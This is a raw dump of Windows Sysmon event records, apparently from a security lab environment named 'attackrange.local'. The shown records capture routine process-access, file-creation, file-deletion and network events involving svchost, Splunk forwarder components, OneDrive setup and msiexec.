10341000x800000000000000013911Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013910Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013909Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013908Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013907Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013906Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013905Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013904Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013903Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.176{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-6F53-613B-9804-00000000F101}2532C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000013902Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.176{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6F53-613B-9804-00000000F101}2532C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000013901Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.177{625C326B-6F53-613B-9804-00000000F101}2532C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000013900Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:33.584{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50118-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013899Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.036{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=C3EA05E919BA50F2EA1D03675ADE9F96,SHA256=0C27773B20D49D8BB721A94A106D352F9EB074163A4895A0B9AB73E51D0C0298,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000043192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:35.846{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Telemetry.dll2021-09-10 14:44:35.846 23542300x800000000000000043191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:35.752{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=CFD7E84EAD1D5D88868EC0DCEB2D5089,SHA256=356605024BB87BD919E8E29C149D7BDD4B25606E283B48D97C2F0339ED5A9578,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000043190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:35.705{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=203D4431E8D3ABCE96D18B9B034AC8F0,SHA256=0FA35227328331E7A40A10671A47B4F0458DE90CE8AF1A69CF96E9C108632442,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 11241100x800000000000000043189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:35.533{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Templates.2\qtquicktemplates2plugin.dll2021-09-10 14:44:35.518 23542300x800000000000000043188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:35.455{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF9FFA11A8A95A8EC1.TMPMD5=747F7EEE8376C452C14617FB8F6A0FB8,SHA256=EEB2D5E3F1623EC71ABEAC84D1DB0E93799898EC98946E40CCEBED8B72D9EE7D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000043187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:35.440{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFE177036C131AD553.TMPMD5=155814C38EF74C022C3A4C86B60E623C,SHA256=07556860D438B82983AEF34CC586230E84DD1C76F17B4F8DC2493F2EAC431030,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000043186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:35.080{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSIA6F1.tmpMD5=93C9172D09C8CEA9E501445C6F780B15,SHA256=53E54175BC751969749F9AF40EE21E4662E5AA356693D4885FDE4A67BBFCE19E,IMPHASH=C2AAC1B2B9FA36FBEA7CD3D2B4516228truefalse - insufficient disk space 23542300x800000000000000043185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:35.002{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=988E28248274381200DF9C6EF8227F69,SHA256=CF7A4951B1E1525C9C1FAE76A53F3353453CA69086CAEB87629F71180CFC0983,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000013944Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:36.942{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=326142F7402049381A40E296900726A2,SHA256=A6B1AEB56A0195589B83F777C9E34C006FA7A19F981CBEBC9C41771DBA657416,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000043200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:36.831{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\IRMProtectors\Microsoft.Office.Irm.OfcProtector.dll2021-09-10 14:44:36.831 11241100x800000000000000043199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:36.283{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\platforms\qwindows.dll2021-09-10 14:44:36.283 10341000x800000000000000043198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:36.252{7BD73061-6F54-613B-1209-00000000F001}46045348C:\Windows\system32\conhost.exe{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000043197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:36.174{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7320024E4D616EE2936BB4CFF3F21217,SHA256=82A06A8694E56EE31D3F778E442AA572B795459E2CDBD7637C2D76D495327579,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000043196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:36.174{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F54-613B-1209-00000000F001}4604C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:36.127{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:36.127{7BD73061-65B2-613B-1300-00000000F001}926496C:\Windows\System32\svchost.exe{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|c:\windows\system32\pcasvc.dll+43591|c:\windows\system32\pcasvc.dll+22bed|C:\Windows\SYSTEM32\ntdll.dll+7de1d|C:\Windows\SYSTEM32\ntdll.dll+3a969|C:\Windows\SYSTEM32\ntdll.dll+1e86f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000013943Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:36.333{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1AFC834BBBC965DE9176B50C403E02F9,SHA256=F21B416BFC09796BFB77F343DCD982432E863F0FA932DFC5290B120040A08E15,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013942Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:36.333{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=641B78634C0D9DBB25F7D9C7483BA653,SHA256=B5512DE88A8658105219432EC94537BB61C3E0A32C63467E60826FA28F8EFCEA,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000013941Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:36.176{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6F54-613B-9A04-00000000F101}4084C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013940Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:36.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013939Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:36.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013938Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:36.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013937Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:36.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013936Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:36.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dl